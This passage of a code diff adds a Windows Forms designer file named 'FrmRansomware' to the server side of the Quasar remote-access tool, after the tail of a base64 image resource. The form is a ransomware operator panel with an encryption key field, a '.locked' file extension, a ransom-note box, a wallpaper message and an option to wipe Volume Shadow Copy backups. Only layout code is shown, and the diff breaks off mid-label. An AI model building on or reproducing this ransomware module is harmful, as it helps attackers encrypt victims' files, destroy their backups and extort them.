V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.Designer.cs new file mode 100755 index 0000000..ac86462 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.Designer.cs @@ -0,0 +1,287 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRansomware + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + private void InitializeComponent() + { + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.btnSaveKey = new System.Windows.Forms.Button(); + this.btnCopyKey = new System.Windows.Forms.Button(); + this.txtKey = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.txtExtension = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.txtWallpaperText = new System.Windows.Forms.TextBox(); + this.chkWallpaper = new System.Windows.Forms.CheckBox(); + this.txtRansomNote = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.chkWipeVSS = new System.Windows.Forms.CheckBox(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.txtLog = new System.Windows.Forms.RichTextBox(); + this.btnEncrypt = new System.Windows.Forms.Button(); + this.btnDecrypt = new System.Windows.Forms.Button(); + this.groupBox1.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.groupBox3.SuspendLayout(); + this.SuspendLayout(); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.btnSaveKey); + this.groupBox1.Controls.Add(this.btnCopyKey); + this.groupBox1.Controls.Add(this.txtKey); + this.groupBox1.Controls.Add(this.label1); + this.groupBox1.Controls.Add(this.txtExtension); + this.groupBox1.Controls.Add(this.label2); + this.groupBox1.Location = new System.Drawing.Point(15, 15); + this.groupBox1.Margin = new System.Windows.Forms.Padding(4); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Padding = new System.Windows.Forms.Padding(4); + this.groupBox1.Size = new System.Drawing.Size(950, 125); + this.groupBox1.TabIndex = 0; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "Encryption Settings"; + // + // btnSaveKey + // + this.btnSaveKey.Location = new System.Drawing.Point(688, 31); + this.btnSaveKey.Margin = new System.Windows.Forms.Padding(4); + this.btnSaveKey.Name = "btnSaveKey"; + this.btnSaveKey.Size = new System.Drawing.Size(112, 29); + this.btnSaveKey.TabIndex = 5; + this.btnSaveKey.Text = "Save Key"; + this.btnSaveKey.UseVisualStyleBackColor = true; + this.btnSaveKey.Click += new System.EventHandler(this.btnSaveKey_Click); + // + // btnCopyKey + // + this.btnCopyKey.Location = new System.Drawing.Point(812, 31); + this.btnCopyKey.Margin = new System.Windows.Forms.Padding(4); + this.btnCopyKey.Name = "btnCopyKey"; + this.btnCopyKey.Size = new System.Drawing.Size(112, 29); + this.btnCopyKey.TabIndex = 4; + this.btnCopyKey.Text = "Copy Key"; + this.btnCopyKey.UseVisualStyleBackColor = true; + this.btnCopyKey.Click += new System.EventHandler(this.btnCopyKey_Click); + // + // txtKey + // + this.txtKey.Location = new System.Drawing.Point(150, 31); + this.txtKey.Margin = new System.Windows.Forms.Padding(4); + this.txtKey.Name = "txtKey"; + this.txtKey.Size = new System.Drawing.Size(524, 26); + this.txtKey.TabIndex = 1; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(19, 35); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(103, 19); + this.label1.TabIndex = 0; + this.label1.Text = "Encryption Key:"; + // + // txtExtension + // + this.txtExtension.Location = new System.Drawing.Point(150, 75); + this.txtExtension.Margin = new System.Windows.Forms.Padding(4); + this.txtExtension.Name = "txtExtension"; + this.txtExtension.Size = new System.Drawing.Size(249, 26); + this.txtExtension.TabIndex = 3; + this.txtExtension.Text = ".locked"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(19, 79); + this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(94, 19); + this.label2.TabIndex = 2; + this.label2.Text = "File 